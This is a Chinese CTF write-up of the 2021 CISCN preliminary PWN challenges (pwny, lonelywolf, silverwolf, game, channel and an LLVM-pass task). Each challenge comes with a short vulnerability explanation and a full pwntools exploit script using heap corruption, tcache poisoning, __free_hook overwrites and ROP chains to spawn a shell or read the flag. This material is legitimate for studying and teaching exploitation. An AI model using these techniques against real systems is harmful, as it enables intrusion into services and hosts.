2021CISCN初赛-WP(PWN) 前言 熬到4点多,总算把题目全做完了,感谢逆向师傅lantern 的帮忙,总的来说题量还是有点多的,题目也有点难度,有些题差点来不及交,还好最终做完了。
pwny write的时候可以越界,第一次读入到0x202860处使fd非法,从而在第二次读入时会写入0,这样就可以做到写入操作。
通过read越界读取出libc,然后越界写入system地址到exit退出时调用的地址,并将参数修改为/bin/sh,退出程序即可getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *p = remote("124.71.230.240" ,"26157" ) libc = ELF("pwny" ).libc def write_s (idx) : p.recvuntil("Your choice:" ) p.sendline("2" ) p.recvuntil("Index: " ) p.sendline(str(idx)) def read_s (idx) : p.recvuntil("Your choice:" ) p.sendline("1" ) p.recvuntil("Index: " ) p.send(p64(idx)) write_s(0x100 ) write_s(0x100 ) read_s(0xFFFFFFFFFFFFFFFC ) p.recvuntil("Result: " ) libc.address = int(p.recv(12 ),16 ) -0x3ec680 print hex(libc.address)read_s(0xFFFFFFFFFFFFFFF5 ) p.recvuntil("Result: " ) pie = int(p.recv(12 ),16 )+0x58 print hex(pie)one = [0x4f3d5 ,0x4f432 ,0x10a41c ] write_s((libc.address+0x61b968 - pie)/8 ) p.sendline('/bin/sh\x00' ) write_s((libc.address+0x61bf60 - pie)/8 ) p.sendline(p64(libc.sym['system' ])) p.sendline('3' ) p.interactive()
lonelywolf 只有一个堆块的操作,存在UAF,修改tcache结构,使获得一个指向size位(0x80)及一个指向fd的tcache,并且设置0x90的tcache为8,然后利用上面的两个tcache修改其size为0x90,并free掉,这样即可获得libc地址。
然后利用UAF申请到__free_hook
并修改为system地址,即可getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *p = process("lonelywolf" ) context.log_level = 'debug' p = remote("124.71.230.240" ,"26077" ) libc = ELF("lonelywolf" ).libc def add (size) : p.recvuntil("Your choice: " ) p.sendline("1" ) p.recvuntil("Index: " ) p.sendline(str(0 )) p.recvuntil("Size: " ) p.sendline(str(size)) def edit (data) : p.recvuntil("Your choice: " ) p.sendline("2" ) p.recvuntil("Index: " ) p.sendline(str(0 )) p.recvuntil("Content: " ) p.send(data) def show () : p.recvuntil("Your choice: " ) p.sendline("3" ) p.recvuntil("Index: " ) p.sendline(str(0 )) def free () : p.recvuntil("Your choice: " ) p.sendline("4" ) p.recvuntil("Index: " ) p.sendline(str(0 )) add(0x78 ) free() edit('\x00' *0x10 +'\n' ) free() show() p.recvuntil("Content: " ) heap = u64(p.recv(6 )+'\x00\x00' )-0x260 print hex(heap)edit(p64(heap+0x10 )+'\n' ) add(0x78 ) add(0x78 ) edit(p32(0 )+'\x00\x01\x01\x08' +p64(0 )*10 +p64(heap+0x250 )*3 +p64(heap+0x260 )) add(0x68 ) edit(p64(0 )+p64(0x91 )+p64(0 )+'\n' ) add(0x38 ) edit('\x00' *0x8 +p64(0x31 )+'\n' ) add(0x78 ) free() show() p.recvuntil("Content: " ) libc.address = u64(p.recv(6 )+'\x00\x00' )-0x3ebca0 print hex(libc.address)add(0x28 ) free() edit(p64(libc.sym['__free_hook' ]-8 )+'\n' ) add(0x28 ) add(0x28 ) edit('/bin/sh\x00' +p64(libc.sym['system' ])+'\n' ) free() p.interactive()
silverwolf 劫持步骤同上,达到任意地址申请的目的后,申请到environ变量获取栈地址,从而将栈返回地址覆盖为我们的rop串,实现orw。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 from pwn import *context.log_level = 'debug' p = remote("124.71.230.240" ,"26121" ) libc = ELF("silverwolf" ).libc def add (size) : p.recvuntil("Your choice: " ) p.sendline("1" ) p.recvuntil("Index: " ) p.sendline(str(0 )) p.recvuntil("Size: " ) p.sendline(str(size)) def edit (data) : p.recvuntil("Your choice: " ) p.sendline("2" ) p.recvuntil("Index: " ) p.sendline(str(0 )) p.recvuntil("Content: " ) p.send(data) def show () : p.recvuntil("Your choice: " ) p.sendline("3" ) p.recvuntil("Index: " ) p.sendline(str(0 )) def free () : p.recvuntil("Your choice: " ) p.sendline("4" ) p.recvuntil("Index: " ) p.sendline(str(0 )) add(0x78 ) free() show() p.recvuntil("Content: " ) heap = u64(p.recv(6 )+'\x00\x00' )-0x1170 print hex(heap)edit(p64(heap+0x10 )+'\n' ) add(0x78 ) add(0x78 ) edit('\x00' *0x78 ) add(0x78 ) free() edit(p64(heap+0x10 )+'\n' ) add(0x78 ) add(0x78 ) edit(p32(0 )+'\x01\x01\x04\x08' +p64(0 )*10 +p64(heap+0xe50 )+p64(heap+0xe50 +0x80 )+p64(heap+0xe40 )+p64(heap+0xe50 )) add(0x68 ) edit(p64(0 )+p64(0x91 )+p64(0 )+'\n' ) add(0x58 ) edit(p64(0 )+p64(0x81 )+p64(0 )+'\n' ) add(0x78 ) free() show() p.recvuntil("Content: " ) libc.address = u64(p.recv(6 )+'\x00\x00' )-0x3ebca0 print hex(libc.address)add(0x28 ) add(0x28 ) add(0x28 ) add(0x68 ) free() edit(p64(libc.sym['environ' ])+'\n' ) add(0x68 ) add(0x68 ) show() p.recvuntil("Content: " ) stack = u64(p.recv(6 )+'\x00\x00' )-0xf0 -0x30 print hex(stack)add(0x78 ) free() pop_rax = 0x0000000000043ae8 + libc.address pop_rdi = 0x00000000000215bf + libc.address pop_rsi = 0x0000000000023eea + libc.address pop_rdx = 0x0000000000001b96 + libc.address syscall = 0x11B637 + libc.address payload = '' payload += p64(pop_rax) payload += p64(2 ) payload += p64(pop_rdi) payload += p64(heap + 0x001960 ) payload += p64(pop_rsi) payload += p64(4 ) payload += p64(pop_rdx) payload += p64(4 ) payload += p64(syscall) payload += p64(pop_rax) payload += p64(0 ) payload += p64(pop_rdi) payload += p64(3 ) payload += p64(pop_rsi) payload += p64(heap + 0x1000 ) payload1 = '' payload1 += p64(pop_rdx) payload1 += p64(0x100 ) payload1 += p64(syscall) payload1 += p64(pop_rax) payload1 += p64(1 ) payload1 += p64(pop_rdi) payload1 += p64(1 ) payload1 += p64(syscall) edit(p64(stack+0x78 )+'\n' ) add(0x78 ) edit('./flag\x00\n' ) add(0x78 ) edit(payload1+'\n' ) add(0x78 ) free() edit(p64(stack)+'\n' ) add(0x78 ) edit('./flag\x00\n' ) add(0x78 ) edit(payload+'\n' ) p.interactive()
game 对玩家进行位移时存在溢出,可以修改下一个chunk的size位,从而实现堆溢出攻击。利用unsortbin泄漏出libc后,申请到environ变量获取栈地址,然后将栈上的返回地址覆盖为ROP串实现ORW即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 from pwn import *p = process("./game" ) p = remote("124.71.230.240" ,"26156" ) libc = ELF("./game1" ).libc def op (op) : return "op:" + str(op) + "\n" def id (id) : return "id:" + str(id) + "\n" def YMAX (y_max) : return "w:" + str(y_max) + "\n" def XMAX (x_max) : return "l:" + str(x_max) + "\n" def size (size) : return "s:" + str(size) + "\n" def init_game (xmax, ymax) : line = "" line += op(1 ) line += XMAX(xmax) line += YMAX(ymax) p.recvuntil("cmd>" ) p.send(line + "\n" ) def create_player (_id, _size,data) : line = "" line += op(2 ) line += id(_id) line += size(_size) p.recvuntil("cmd>" ) p.send(line + "\n" ) p.recvuntil("desc>" ) p.send(data) def del_player_by_id (_id) : line = "" line += op(3 ) line += id(_id) p.recvuntil("cmd>" ) p.send(line + "\n" ) def display_all () : line = "" line += op(4 ) p.recvuntil("cmd>" ) p.send(line + "\n" ) def dec_y_by_id (_id) : line = "" line += op(5 ) line += id(_id) p.recvuntil("cmd>" ) p.send(line + "\n" ) def inc_y_by_id (_id) : line = "" line += op(6 ) line += id(_id) p.recvuntil("cmd>" ) p.send(line + "\n" ) def dec_x_by_id (_id) : line = "" line += op(7 ) line += id(_id) p.recvuntil("cmd>" ) p.send(line + "\n" ) def inc_x_by_id (_id) : line = "" line += op(8 ) line += id(_id) p.recvuntil("cmd>" ) p.send(line + "\n" ) init_game(0x4 , 8 ) create_player(4 ,0x28 ,'nuoye' ) create_player(1 ,0x410 ,'nuoye' ) create_player(2 ,0x420 ,'nuoye' ) create_player(5 ,0x28 ,'nuoye' ) create_player(6 ,0x28 ,'nuoye' ) create_player(7 ,0x28 ,'nuoye' ) del_player_by_id(1 ) create_player(1 ,0x410 ,'a' *8 ) display_all() p.recvuntil("a" *8 ) libc.address = u64(p.recv(6 )+'\x00\x00' )-0x3ebca0 print hex(libc.address)inc_y_by_id(2 ) inc_y_by_id(2 ) del_player_by_id(1 ) create_player(1 ,0x410 ,'a' *(0x1e8 )+p64(0x251 )) del_player_by_id(6 ) del_player_by_id(7 ) del_player_by_id(4 ) del_player_by_id(5 ) del_player_by_id(1 ) create_player(1 ,0x228 ,b'\x00' *0x28 +p64(0x31 )+p64(libc.sym['environ' ]-0x28 )) create_player(2 ,0x228 ,'a' ) create_player(5 ,0x228 ,'a' ) create_player(3 ,0x28 ,'a' *0x28 ) display_all() p.recvuntil("a" *0x28 ) stack = u64(p.recv(6 )+'\x00\x00' ) -0x510 print hex(stack)del_player_by_id(2 ) del_player_by_id(5 ) del_player_by_id(1 ) create_player(1 ,0x228 ,b'\x00' *0x58 +p64(0x31 )+p64(stack)) create_player(2 ,0x228 ,b'\x00' *0x58 +p64(0x31 )+p64(stack)) create_player(5 ,0x228 ,'./flag\x00' ) pop_rax = 0x0000000000043a78 + libc.address pop_rdi = 0x000000000002155f + libc.address pop_rsi = 0x0000000000023e8a + libc.address pop_rdx = 0x0000000000001b96 + libc.address syscall = 0x11B957 + libc.address payload = '' payload += p64(pop_rax) payload += p64(2 ) payload += p64(pop_rdi) payload += p64(stack + 0xb8 ) payload += p64(pop_rsi) payload += p64(4 ) payload += p64(pop_rdx) payload += p64(4 ) payload += p64(syscall) payload += p64(pop_rax) payload += p64(0 ) payload += p64(pop_rdi) payload += p64(3 ) payload += p64(pop_rsi) payload += p64(stack + 0x200 ) payload += p64(pop_rdx) payload += p64(0x100 ) payload += p64(syscall) payload += p64(pop_rax) payload += p64(1 ) payload += p64(pop_rdi) payload += p64(1 ) payload += p64(syscall) payload += './flag\x00' create_player(8 ,0x228 ,payload) ''' gdb.attach(p,'b *$rebase(0x1D74)') ''' p.interactive()
channel arm64位的pwn题,静态地址,存在UAF的问题,劫持链表的下一项即可实现任意地址free(需符合size检查)。
将tcache结构加入到链表中,再申请一个较小的chunk,即可实现堆溢出,然后劫持到__free_hook,并修改为system函数,即可getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *context.arch = 'aarch64' p = remote("124.71.230.240" ,"26027" ) def regsiter (key) : p.recvuntil("> " ) p.sendline("1" ) p.recvuntil("key> " ) p.send(key) def unregsiter (key) : p.recvuntil("> " ) p.sendline("2" ) p.recvuntil("key> " ) p.send(key) def show (key) : p.recvuntil("> " ) p.sendline("3" ) p.recvuntil("key> " ) p.send(key) def edit (key,size,data) : p.recvuntil("> " ) p.sendline("4" ) p.recvuntil("key> " ) p.send(key) p.recvuntil("len> " ) p.sendline(str(size)) p.recvuntil("content> " ) p.send(data) free_got = 0x11F30 +0x4000000000 regsiter("111" ) edit("111" ,0x1f8 ,b'2' *8 +b'\x00' *0xf8 +p64(0x40009bca30 )+p64(0x4000011FC8 )) edit("111" ,0x1c8 ,b'2' *8 +b'\x00' *0xf8 +p64(0x40009bca30 )+p64(0x4000011FC8 )) regsiter("222" ) regsiter("333" ) unregsiter("222" ) edit("111" ,0x110 ,b'2' *8 +b'\x00' *0xf8 +p64(0x40009bca30 )+p64(0x4000011FC8 )) show('2' *8 ) print(p.recvline()) libc_base = u64(p.recv(3 ).ljust(8 ,b'\x00' )) libc_base = 0x4000848000 print(hex(libc_base)) ''' /etc/qemu-binfmt/aarch64/lib/ld-linux-aarch64.so.1 /etc/qemu-binfmt/aarch64/lib/libc.so.6 ''' edit('333' ,0x100 ,'1' ) unregsiter('1' ) regsiter("111" ) regsiter("222" ) regsiter("444" ) unregsiter("222" ) edit("111" ,0x110 ,b'2' *8 +b'\x00' *0xf8 +p64(0x40009bc000 )+p64(0x4000011fb8 )) regsiter("555" ) edit(p64(0 )+p64(0x291 )+b'\x00' *0x1c +p32(0x10000 )+b'\x00' *0x5c +p64(0x00000 ),0x20 ,'aaa' ) show('2' *8 ) regsiter("666" ) unregsiter("555" ) unregsiter("666" ) edit('444' ,0x100 ,p64(0 )*3 +p64(0x100 )+p64(libc_base+0x16FC30 )) regsiter("/bin/sh\x00" ) regsiter(p64(0x40568 +libc_base)) unregsiter("/bin/sh\x00" ) p.interactive()
跟2021红帽有点类似,调试出了几个函数save、stealkey、fakekey、run。run可以执行一个指针处的函数,save会为这个指针申请地址,通过特定的申请可以得到unsortbin的,stealkey会将当前的指针的值存储起来,fakekey会将上面存储的值与传入的参数相加。所以可以利用unsortbin泄漏出libc,然后用stealkey保存,fakekey计算偏移到onegadget,最后用run运行即可getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import osos.system("clang -emit-llvm -S exp.c -o exp.bc" ) ''' os.system("opt -load ./SAPass.so -SAPass ./exp.bc") p = gdb.debug(["opt",'-load','./SAPass.so','-SAPass','./exp.bc']) p.interactive() ''' from pwn import *import syscontext.log_level='debug' ip = '124.71.230.240' port = 25989 con = remote(ip, port) f = open("./exp.bc" ,"rb" ) payload=f.read() f.close() payload2 = payload.encode("base64" ) con.sendlineafter("bitcode: \n" , payload2) con.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void save(char * a,int b); void takeaway(); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ int a[2 ]; a[0 ]= 0x20 ; a[1 ] = 2 ; char * b = "hello" ; save(b,0x28 ); save(b,0x28 ); save(b,0x28 ); save(b,0x28 ); save(b,0x28 ); save(b,0x28 ); save(b,0x28 ); save(b,0x28 ); save(b,0x28 ); save(b,0x28 ); stealkey(); fakekey(0xFFFFFFFFFFC63615 +0x16d ); run(); }